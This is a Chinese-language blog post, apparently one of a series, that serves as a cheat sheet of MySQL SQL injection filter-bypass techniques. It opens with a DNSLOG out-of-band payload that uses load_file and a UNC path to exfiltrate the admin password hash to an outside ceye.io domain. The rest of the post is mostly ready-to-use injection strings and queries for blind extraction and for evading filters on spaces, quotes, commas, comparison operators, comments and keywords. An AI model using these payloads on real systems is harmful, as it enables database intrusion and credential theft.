前言
前面两篇主要是对Mysql的攻击手法进行了总结,这里主要是针对如果存在一些过滤,一些常见且常用的Bypass限制的手法姿势
Mysql
Bypass
无回显限制
DNSLOG数据外带
存在一个 load_file
可以读取本地文件
http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)
FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。|
补充:UNC路径(UNC路径就是类似\softer这样的形式的网络路径;它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称)UNC路径是concat函数内的字符串,代表去访问一个域名下的abc文件夹,此处查询的域名属于dnslog的子域名,在访问的过程中,解析记录会被保存;又因为load_file()函数访问的是文件,所以域名后面需要添加/abc
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
sss.xxx\test\
这也就解释了为什么CONCAT()函数拼接了4个 \
了,因为转义的原因,4个就变 \
成了2个 \
,目的就是利用UNC路径
过滤substr ascii
- 可以使用
substring()
函数分割 - 使用
mid
函数分割 - 使用
left``right
函数分割 - 使用
like
匹配
/?id=' or database() like '________' --+
/?id=' or database() like 's%' --+也可用/?id=' or database() like 's_______' --+
5. regexp注入
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配
select (select语句) regexp '正则表达式'
(1)正则注入匹配select查询结果,若匹配到结果则返回1,未匹配到则返回0
(2)regexp关键字还可以代替where条件里的等号(=)
当过滤了=、in、like等关键字时,我们可以用regexp来进行绕过:
PS:^若被过滤,我们还可以使用$来从后往前进行匹配
select * from users where id=1 union select 1,database() regexp '^s',3;
6. 使用hex() bin()等函数
7. 使用lpad()和rpad()绕过
```
select lpad((select database()),1,1) // s
select lpad((select database()),2,1) // se
select lpad((select database()),3,1) // sec
select lpad((select database()),4,1) // secu
select lpad((select database()),5,1) // secur
select lpad((select database()),6,1) // securi
select lpad((select database()),7,1) // securit
select lpad((select database()),8,1) // security
select rpad((select database()),1,1) // s
select rpad((select database()),2,1) // se
select rpad((select database()),3,1) // sec
select rpad((select database()),4,1) // secu
select rpad((select database()),5,1) // secur
select rpad((select database()),6,1) // securi
select rpad((select database()),7,1) // securit
select rpad((select database()),8,1) // security
```
过滤= \< >等比较符
- 可以使用
between..and..
绕过substr(user(),1,1) between 'a' and 'z'
- 使用
like
进行模糊匹配,或者rlike
或者regexp
正则 - 使用
greatest``least
进行绕过,前者返回最大值,后者返回最小值
ascii(substr(database(),0,1))>64
==>greatest(ascii(substr(database(),0,1)),64)=64
- 使用in()绕过
/?id=' or ascii(substr((select database()),1,1)) in(114)--+ // 错误
/?id=' or ascii(substr((select database()),1,1)) in(115)--+ // 正常回显
/?id=' or substr((select database()),1,1) in('s')--+ // 正常回显
过滤空格
- %20 %09 %0a %0b %0c %0d %00, 更多的可以进行Fuzzing 或者是
\${IFS}
- 内敛注释
/**/``/!xx/
- 使用括号避免使用空格
过滤引号
- 如果查数据的时候,where中的表名可以使用十六进制替代,避免使用引号
- 使用反斜杠 \ 逃逸 Sql 语句
select username, password from users where username='$username' and password='$password';
假设输入的用户名是 admin\,密码输入的是 or 1# 整个SQL语句变成了
select username,password from users where username='admin\' and password=' or 1# '
由于单引号被转义,and password= 这部分都成了username的一部分,即
username='admin\' and password='
过滤逗号
- 使用from for语句
substr(database()from 1 for 1)
- 使用join语句
select 1,2
==>select * from (select 1)a join (select 2)a
- 使用
offset
语句limit 0,1
==>limit 1 offset 0
过滤逻辑词 or and not xor等等
- 使用
&&``||``!``|
- 是可以使用
^
过滤注释符
- 采用闭合后面引号的方式
select 1,2,3||'1
过滤关键词
- 使用注释绕过
union
==>u//nion``/**/
- 内联注释也可以
union select
==>/*!union12345*/ select
- 常规的大小写绕过,双写绕过, 编码绕过
过滤 sleep``where``group_concat``if``order by
等特定关键词
- sleep ==> 使用
benchmark(10000000,sha(1))
或者是特殊的语句构造也会造成延时特征
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
- where ==> 使用having子句
- group_concat ==> 使用concat_ws
- if ==> 这里就可以使用case when语句进行绕过了,
case when 1 then 1=1 else 1=2
可以使用i\<a>f
绕过 - order by ==> 可以使用
into
进行替代
id=1' and into @a,@b,@c
- updateaxml ==> polygon()绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论